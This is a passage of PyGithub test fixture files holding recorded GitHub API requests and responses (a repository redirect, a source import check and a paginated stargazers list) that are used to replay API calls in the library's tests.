pygithub-2.6.1/tests/ReplayData/Repository.testGetRepositoryWith301Redirect.txt0000644000175100001660000001713114756101563027361 0ustar00runnerdockerhttps GET api.github.com None /repos/protoncoin/protoncoin {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 301 [('content-length', '155'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('vary', 'Accept-Encoding'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('location', 'https://api.github.com/repositories/112116543'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '301 Moved Permanently'), ('x-ratelimit-remaining', '4989'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '91C2:0E1E:35F25D0:44D48B0:5BB6117E'), ('date', 'Thu, 04 Oct 2018 13:11:27 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('x-runtime-rack', '0.033039'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1538660372')] {"message":"Moved Permanently","url":"https://api.github.com/repositories/112116543","documentation_url":"https://developer.github.com/v3/#http-redirects"} https GET api.github.com None /repositories/112116543 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('x-runtime-rack', '0.065478'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('etag', 'W/"f251b5b9c42514b43eb0afe3c76cf8de"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4986'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('transfer-encoding', 'chunked'), ('x-github-request-id', '934E:0E1F:3F93A9C:517C35B:5BB6137F'), ('last-modified', 'Thu, 05 Jul 2018 07:15:14 GMT'), ('date', 'Thu, 04 Oct 2018 13:20:02 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('content-encoding', 'gzip'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1538660372')] {"id":112116543,"node_id":"MDEwOlJlcG9zaXRvcnkxMTIxMTY1NDM=","name":"protoncoin","full_name":"padima2/protoncoin","private":false,"owner":{"login":"padima2","id":40371652,"node_id":"MDQ6VXNlcjQwMzcxNjUy","avatar_url":"https://avatars2.githubusercontent.com/u/40371652?v=4","gravatar_id":"","url":"https://api.github.com/users/padima2","html_url":"https://github.com/padima2","followers_url":"https://api.github.com/users/padima2/followers","following_url":"https://api.github.com/users/padima2/following{/other_user}","gists_url":"https://api.github.com/users/padima2/gists{/gist_id}","starred_url":"https://api.github.com/users/padima2/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/padima2/subscriptions","organizations_url":"https://api.github.com/users/padima2/orgs","repos_url":"https://api.github.com/users/padima2/repos","events_url":"https://api.github.com/users/padima2/events{/privacy}","received_events_url":"https://api.github.com/users/padima2/received_events","type":"User","site_admin":false},"html_url":"https://github.com/padima2/protoncoin","description":"HiggsProject main repository","fork":false,"url":"https://api.github.com/repos/padima2/protoncoin","forks_url":"https://api.github.com/repos/padima2/protoncoin/forks","keys_url":"https://api.github.com/repos/padima2/protoncoin/keys{/key_id}","collaborators_url":"https://api.github.com/repos/padima2/protoncoin/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/padima2/protoncoin/teams","hooks_url":"https://api.github.com/repos/padima2/protoncoin/hooks","issue_events_url":"https://api.github.com/repos/padima2/protoncoin/issues/events{/number}","events_url":"https://api.github.com/repos/padima2/protoncoin/events","assignees_url":"https://api.github.com/repos/padima2/protoncoin/assignees{/user}","branches_url":"https://api.github.com/repos/padima2/protoncoin/branches{/branch}","tags_url":"https://api.github.com/repos/padima2/protoncoin/tags","blobs_url":"https://api.github.com/repos/padima2/protoncoin/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/padima2/protoncoin/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/padima2/protoncoin/git/refs{/sha}","trees_url":"https://api.github.com/repos/padima2/protoncoin/git/trees{/sha}","statuses_url":"https://api.github.com/repos/padima2/protoncoin/statuses/{sha}","languages_url":"https://api.github.com/repos/padima2/protoncoin/languages","stargazers_url":"https://api.github.com/repos/padima2/protoncoin/stargazers","contributors_url":"https://api.github.com/repos/padima2/protoncoin/contributors","subscribers_url":"https://api.github.com/repos/padima2/protoncoin/subscribers","subscription_url":"https://api.github.com/repos/padima2/protoncoin/subscription","commits_url":"https://api.github.com/repos/padima2/protoncoin/commits{/sha}","git_commits_url":"https://api.github.com/repos/padima2/protoncoin/git/commits{/sha}","comments_url":"https://api.github.com/repos/padima2/protoncoin/comments{/number}","issue_comment_url":"https://api.github.com/repos/padima2/protoncoin/issues/comments{/number}","contents_url":"https://api.github.com/repos/padima2/protoncoin/contents/{+path}","compare_url":"https://api.github.com/repos/padima2/protoncoin/compare/{base}...{head}","merges_url":"https://api.github.com/repos/padima2/protoncoin/merges","archive_url":"https://api.github.com/repos/padima2/protoncoin/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/padima2/protoncoin/downloads","issues_url":"https://api.github.com/repos/padima2/protoncoin/issues{/number}","pulls_url":"https://api.github.com/repos/padima2/protoncoin/pulls{/number}","milestones_url":"https://api.github.com/repos/padima2/protoncoin/milestones{/number}","notifications_url":"https://api.github.com/repos/padima2/protoncoin/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/padima2/protoncoin/labels{/name}","releases_url":"https://api.github.com/repos/padima2/protoncoin/releases{/id}","deployments_url":"https://api.github.com/repos/padima2/protoncoin/deployments","created_at":"2017-11-26T21:04:21Z","updated_at":"2018-07-05T07:15:14Z","pushed_at":"2018-03-31T14:05:44Z","git_url":"git://github.com/padima2/protoncoin.git","ssh_url":"git@github.com:padima2/protoncoin.git","clone_url":"https://github.com/padima2/protoncoin.git","svn_url":"https://github.com/padima2/protoncoin","homepage":"https://higgsproject.org","size":7149,"stargazers_count":5,"watchers_count":5,"language":"C++","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":21,"mirror_url":null,"archived":false,"open_issues_count":0,"license":{"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","node_id":"MDc6TGljZW5zZTEz"},"forks":21,"open_issues":0,"watchers":5,"default_branch":"master","permissions":{"admin":false,"push":false,"pull":true},"network_count":21,"subscribers_count":7} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetSourceImport.txt0000644000175100001660000002526314756101563025100 0ustar00runnerdockerhttps GET api.github.com None /users/brix4dayz {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} null 200 [('content-length', '1143'), ('x-runtime-rack', '0.036199'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'repo'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"5f005737679e3703efce7e706ad4fe72"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '200 OK'), ('x-ratelimit-remaining', '4997'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'D38A:204B:1537888:2C3DF24:5A3749D0'), ('last-modified', 'Mon, 18 Dec 2017 01:31:56 GMT'), ('date', 'Mon, 18 Dec 2017 04:53:36 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1513576416')] {"login":"brix4dayz","id":11233384,"avatar_url":"https://avatars0.githubusercontent.com/u/11233384?v=4","gravatar_id":"","url":"https://api.github.com/users/brix4dayz","html_url":"https://github.com/brix4dayz","followers_url":"https://api.github.com/users/brix4dayz/followers","following_url":"https://api.github.com/users/brix4dayz/following{/other_user}","gists_url":"https://api.github.com/users/brix4dayz/gists{/gist_id}","starred_url":"https://api.github.com/users/brix4dayz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/brix4dayz/subscriptions","organizations_url":"https://api.github.com/users/brix4dayz/orgs","repos_url":"https://api.github.com/users/brix4dayz/repos","events_url":"https://api.github.com/users/brix4dayz/events{/privacy}","received_events_url":"https://api.github.com/users/brix4dayz/received_events","type":"User","site_admin":false,"name":"Hayden Fuss","company":"Bandwidth.com","blog":"","location":"Raleigh, NC","email":null,"hireable":null,"bio":null,"public_repos":9,"public_gists":0,"followers":4,"following":5,"created_at":"2015-02-27T17:32:06Z","updated_at":"2017-12-18T01:31:56Z"} https GET api.github.com None /repos/brix4dayz/source-import-test {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} null 200 [('content-length', '5271'), ('x-runtime-rack', '0.045121'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'repo'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', 'repo'), ('etag', '"bfe90beb5d300f2556ac2156c7a06731"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'D38B:204B:1537892:2C3DF3E:5A3749D0'), ('last-modified', 'Mon, 18 Dec 2017 03:41:58 GMT'), ('date', 'Mon, 18 Dec 2017 04:53:36 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1513576416')] {"id":114593046,"name":"source-import-test","full_name":"brix4dayz/source-import-test","owner":{"login":"brix4dayz","id":11233384,"avatar_url":"https://avatars0.githubusercontent.com/u/11233384?v=4","gravatar_id":"","url":"https://api.github.com/users/brix4dayz","html_url":"https://github.com/brix4dayz","followers_url":"https://api.github.com/users/brix4dayz/followers","following_url":"https://api.github.com/users/brix4dayz/following{/other_user}","gists_url":"https://api.github.com/users/brix4dayz/gists{/gist_id}","starred_url":"https://api.github.com/users/brix4dayz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/brix4dayz/subscriptions","organizations_url":"https://api.github.com/users/brix4dayz/orgs","repos_url":"https://api.github.com/users/brix4dayz/repos","events_url":"https://api.github.com/users/brix4dayz/events{/privacy}","received_events_url":"https://api.github.com/users/brix4dayz/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/brix4dayz/source-import-test","description":null,"fork":false,"url":"https://api.github.com/repos/brix4dayz/source-import-test","forks_url":"https://api.github.com/repos/brix4dayz/source-import-test/forks","keys_url":"https://api.github.com/repos/brix4dayz/source-import-test/keys{/key_id}","collaborators_url":"https://api.github.com/repos/brix4dayz/source-import-test/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/brix4dayz/source-import-test/teams","hooks_url":"https://api.github.com/repos/brix4dayz/source-import-test/hooks","issue_events_url":"https://api.github.com/repos/brix4dayz/source-import-test/issues/events{/number}","events_url":"https://api.github.com/repos/brix4dayz/source-import-test/events","assignees_url":"https://api.github.com/repos/brix4dayz/source-import-test/assignees{/user}","branches_url":"https://api.github.com/repos/brix4dayz/source-import-test/branches{/branch}","tags_url":"https://api.github.com/repos/brix4dayz/source-import-test/tags","blobs_url":"https://api.github.com/repos/brix4dayz/source-import-test/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/brix4dayz/source-import-test/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/brix4dayz/source-import-test/git/refs{/sha}","trees_url":"https://api.github.com/repos/brix4dayz/source-import-test/git/trees{/sha}","statuses_url":"https://api.github.com/repos/brix4dayz/source-import-test/statuses/{sha}","languages_url":"https://api.github.com/repos/brix4dayz/source-import-test/languages","stargazers_url":"https://api.github.com/repos/brix4dayz/source-import-test/stargazers","contributors_url":"https://api.github.com/repos/brix4dayz/source-import-test/contributors","subscribers_url":"https://api.github.com/repos/brix4dayz/source-import-test/subscribers","subscription_url":"https://api.github.com/repos/brix4dayz/source-import-test/subscription","commits_url":"https://api.github.com/repos/brix4dayz/source-import-test/commits{/sha}","git_commits_url":"https://api.github.com/repos/brix4dayz/source-import-test/git/commits{/sha}","comments_url":"https://api.github.com/repos/brix4dayz/source-import-test/comments{/number}","issue_comment_url":"https://api.github.com/repos/brix4dayz/source-import-test/issues/comments{/number}","contents_url":"https://api.github.com/repos/brix4dayz/source-import-test/contents/{+path}","compare_url":"https://api.github.com/repos/brix4dayz/source-import-test/compare/{base}...{head}","merges_url":"https://api.github.com/repos/brix4dayz/source-import-test/merges","archive_url":"https://api.github.com/repos/brix4dayz/source-import-test/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/brix4dayz/source-import-test/downloads","issues_url":"https://api.github.com/repos/brix4dayz/source-import-test/issues{/number}","pulls_url":"https://api.github.com/repos/brix4dayz/source-import-test/pulls{/number}","milestones_url":"https://api.github.com/repos/brix4dayz/source-import-test/milestones{/number}","notifications_url":"https://api.github.com/repos/brix4dayz/source-import-test/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/brix4dayz/source-import-test/labels{/name}","releases_url":"https://api.github.com/repos/brix4dayz/source-import-test/releases{/id}","deployments_url":"https://api.github.com/repos/brix4dayz/source-import-test/deployments","created_at":"2017-12-18T03:41:58Z","updated_at":"2017-12-18T03:41:58Z","pushed_at":"2017-12-18T03:46:11Z","git_url":"git://github.com/brix4dayz/source-import-test.git","ssh_url":"git@github.com:brix4dayz/source-import-test.git","clone_url":"https://github.com/brix4dayz/source-import-test.git","svn_url":"https://github.com/brix4dayz/source-import-test","homepage":null,"size":0,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":0,"license":null,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"network_count":0,"subscribers_count":1} https GET api.github.com None /repos/brix4dayz/source-import-test/import {'Authorization': 'Basic login_and_password_removed', 'Accept': 'application/vnd.github.barred-rock-preview', 'User-Agent': 'PyGithub/Python'} null 200 [('content-length', '533'), ('x-runtime-rack', '0.160871'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'repo'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"8659af05bfc77665551bec8f8a6bb2ce"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('x-github-media-type', 'github.barred-rock-preview'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'D38C:203D:AEDFE1:183A6DE:5A3749D0'), ('date', 'Mon, 18 Dec 2017 04:53:37 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1513576416')] {"vcs":"mercurial","use_lfs":"undecided","vcs_url":"https://bitbucket.org/hfuss/source-import-test","status":"complete","status_text":"Done","has_large_files":false,"large_files_size":0,"large_files_count":0,"authors_count":1,"url":"https://api.github.com/repos/brix4dayz/source-import-test/import","html_url":"https://github.com/brix4dayz/source-import-test/import","authors_url":"https://api.github.com/repos/brix4dayz/source-import-test/import/authors","repository_url":"https://api.github.com/repos/brix4dayz/source-import-test"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetStargazers.txt0000644000175100001660000005503714756101563024574 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/stargazers {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '9029'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4986'), ('server', 'nginx/1.0.13'), ('last-modified', 'Fri, 07 Sep 2012 16:45:47 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last"'), ('etag', '"66120d1b3732bc2800b35a1cdfe7eeed"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 07 Sep 2012 23:25:34 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"gravatar_id":"5341a13bb6125ce7c97cf91b35209e16","avatar_url":"https://secure.gravatar.com/avatar/5341a13bb6125ce7c97cf91b35209e16?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/Stals","login":"Stals","id":472089},{"gravatar_id":"95d39bbf832ff92e9ba1775b4b702c49","avatar_url":"https://secure.gravatar.com/avatar/95d39bbf832ff92e9ba1775b4b702c49?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/att14","login":"att14","id":780132},{"gravatar_id":"1b4be24fa7e62eb508ca448da99e43d4","avatar_url":"https://secure.gravatar.com/avatar/1b4be24fa7e62eb508ca448da99e43d4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/jardon-u","login":"jardon-u","id":994192},{"gravatar_id":"16a037e47cf9737e037169cbd1d2bed6","avatar_url":"https://secure.gravatar.com/avatar/16a037e47cf9737e037169cbd1d2bed6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/huxley","login":"huxley","id":839},{"gravatar_id":"a0153aaf274e18295e55e4e28f3580e6","avatar_url":"https://secure.gravatar.com/avatar/a0153aaf274e18295e55e4e28f3580e6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/mikofski","login":"mikofski","id":1385621},{"gravatar_id":"4dc11d87759273f3466ab4f673bcecae","avatar_url":"https://secure.gravatar.com/avatar/4dc11d87759273f3466ab4f673bcecae?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/L42y","login":"L42y","id":284820},{"gravatar_id":"71de1870e298b3488d75c4cb805f4cf7","avatar_url":"https://secure.gravatar.com/avatar/71de1870e298b3488d75c4cb805f4cf7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/fanzeyi","login":"fanzeyi","id":409951},{"gravatar_id":"b2e096f2c016d8dc168a3a5e6281b07a","avatar_url":"https://secure.gravatar.com/avatar/b2e096f2c016d8dc168a3a5e6281b07a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/abersager","login":"abersager","id":1328351},{"gravatar_id":"5479425141d61976fd0875bea7dfd7e0","avatar_url":"https://secure.gravatar.com/avatar/5479425141d61976fd0875bea7dfd7e0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/waylan","login":"waylan","id":78846},{"gravatar_id":"5287a88d1c85f336fe494a694fac7635","avatar_url":"https://secure.gravatar.com/avatar/5287a88d1c85f336fe494a694fac7635?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/adericbourg","login":"adericbourg","id":615743},{"gravatar_id":"bff435ae5fc2e73d7c7c8351231e8040","avatar_url":"https://secure.gravatar.com/avatar/bff435ae5fc2e73d7c7c8351231e8040?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/tallforasmurf","login":"tallforasmurf","id":1137018},{"gravatar_id":"c6733f16eb6fc13f79c6dcfd093b347a","avatar_url":"https://secure.gravatar.com/avatar/c6733f16eb6fc13f79c6dcfd093b347a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/pvicente","login":"pvicente","id":471109},{"gravatar_id":"b58d0f1ea06b8d5de5f02c53f747ac03","avatar_url":"https://secure.gravatar.com/avatar/b58d0f1ea06b8d5de5f02c53f747ac03?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/roskakori","login":"roskakori","id":328726},{"gravatar_id":"1689abbd998128dbb3658698b429b022","avatar_url":"https://secure.gravatar.com/avatar/1689abbd998128dbb3658698b429b022?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/michaelpedersen","login":"michaelpedersen","id":22974},{"gravatar_id":"d3476956052910612c2c92966d05f9e7","avatar_url":"https://secure.gravatar.com/avatar/d3476956052910612c2c92966d05f9e7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/stefanfoulis","login":"stefanfoulis","id":14330},{"gravatar_id":"e8f8081fe45c1b793c288ecd1c1e932e","avatar_url":"https://secure.gravatar.com/avatar/e8f8081fe45c1b793c288ecd1c1e932e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/equus12","login":"equus12","id":1647505},{"gravatar_id":"0aeecc65c3e3ab73d2e171289b83d10b","avatar_url":"https://secure.gravatar.com/avatar/0aeecc65c3e3ab73d2e171289b83d10b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/JuRogn","login":"JuRogn","id":750320},{"gravatar_id":"b9d1630a90131545c699075f73da092b","avatar_url":"https://secure.gravatar.com/avatar/b9d1630a90131545c699075f73da092b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/joshmoore","login":"joshmoore","id":88113},{"gravatar_id":"1cc22835569c3fa4cfd80d1a4221ae4f","avatar_url":"https://secure.gravatar.com/avatar/1cc22835569c3fa4cfd80d1a4221ae4f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/jsilter","login":"jsilter","id":603941},{"gravatar_id":"edcf2f3ed9231baef459b49e2572d04c","avatar_url":"https://secure.gravatar.com/avatar/edcf2f3ed9231baef459b49e2572d04c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/dasapich","login":"dasapich","id":981509},{"gravatar_id":"92d26c7d74821a7ecb87a51017d394b6","avatar_url":"https://secure.gravatar.com/avatar/92d26c7d74821a7ecb87a51017d394b6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/ritratt","login":"ritratt","id":1582625},{"gravatar_id":"4a70a247b4f222894f6b9861e40f733d","avatar_url":"https://secure.gravatar.com/avatar/4a70a247b4f222894f6b9861e40f733d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/hcilab","login":"hcilab","id":1610572},{"gravatar_id":"d7773594c583cf2c9db22f403d183c5a","avatar_url":"https://secure.gravatar.com/avatar/d7773594c583cf2c9db22f403d183c5a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/vxnick","login":"vxnick","id":85934},{"gravatar_id":"3aa27c0add742f542848af3b8a9e980c","avatar_url":"https://secure.gravatar.com/avatar/3aa27c0add742f542848af3b8a9e980c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/pmuilu","login":"pmuilu","id":691799},{"gravatar_id":"85203b21c562062e5641f0b8d4b98d9b","avatar_url":"https://secure.gravatar.com/avatar/85203b21c562062e5641f0b8d4b98d9b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/herlo","login":"herlo","id":89334},{"gravatar_id":"13a30f9924fa2bd918cbb8d06dd8b55a","avatar_url":"https://secure.gravatar.com/avatar/13a30f9924fa2bd918cbb8d06dd8b55a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/malexw","login":"malexw","id":577322},{"gravatar_id":"8cbc775abf80a9ef3b09b08e264337f2","avatar_url":"https://secure.gravatar.com/avatar/8cbc775abf80a9ef3b09b08e264337f2?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/ahmetvurgun","login":"ahmetvurgun","id":575162},{"gravatar_id":"43df3d2f7dae415af6c2ed286c844f4a","avatar_url":"https://secure.gravatar.com/avatar/43df3d2f7dae415af6c2ed286c844f4a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/PengGu","login":"PengGu","id":1087851},{"gravatar_id":"1b5633ca7f3390376c779e5f716a3ed0","avatar_url":"https://secure.gravatar.com/avatar/1b5633ca7f3390376c779e5f716a3ed0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/cosmin","login":"cosmin","id":1358},{"gravatar_id":"579c3cd8915ee79e243c7040777c8301","avatar_url":"https://secure.gravatar.com/avatar/579c3cd8915ee79e243c7040777c8301?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/Swop","login":"Swop","id":545340}] https GET api.github.com None /repos/PyGithub/PyGithub/stargazers?page=2 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4985'), ('x-ratelimit-limit', '5000'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '9059'), ('server', 'nginx/1.0.13'), ('last-modified', 'Fri, 07 Sep 2012 22:31:54 GMT'), ('connection', 'keep-alive'), ('etag', '"0db198d8f435648beea21497631e1398"'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('cache-control', 'private, s-maxage=60, max-age=60'), ('date', 'Fri, 07 Sep 2012 23:25:35 GMT'), ('x-github-media-type', 'github.beta; format=json'), ('content-type', 'application/json; charset=utf-8')] [{"gravatar_id":"2eccc4005572c1e2b12a9c00580bc86f","login":"kennethreitz","avatar_url":"https://secure.gravatar.com/avatar/2eccc4005572c1e2b12a9c00580bc86f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/kennethreitz","id":119893},{"gravatar_id":"1fd428161c36217f233c7548d1ca3555","login":"bryandyck","avatar_url":"https://secure.gravatar.com/avatar/1fd428161c36217f233c7548d1ca3555?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/bryandyck","id":1591021},{"gravatar_id":"c07bac2e0a5d17d43fdc808cb1f528a4","login":"jason2506","avatar_url":"https://secure.gravatar.com/avatar/c07bac2e0a5d17d43fdc808cb1f528a4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/jason2506","id":875284},{"gravatar_id":"97b6ddbf90c2a4428e668691e112d096","login":"zsiciarz","avatar_url":"https://secur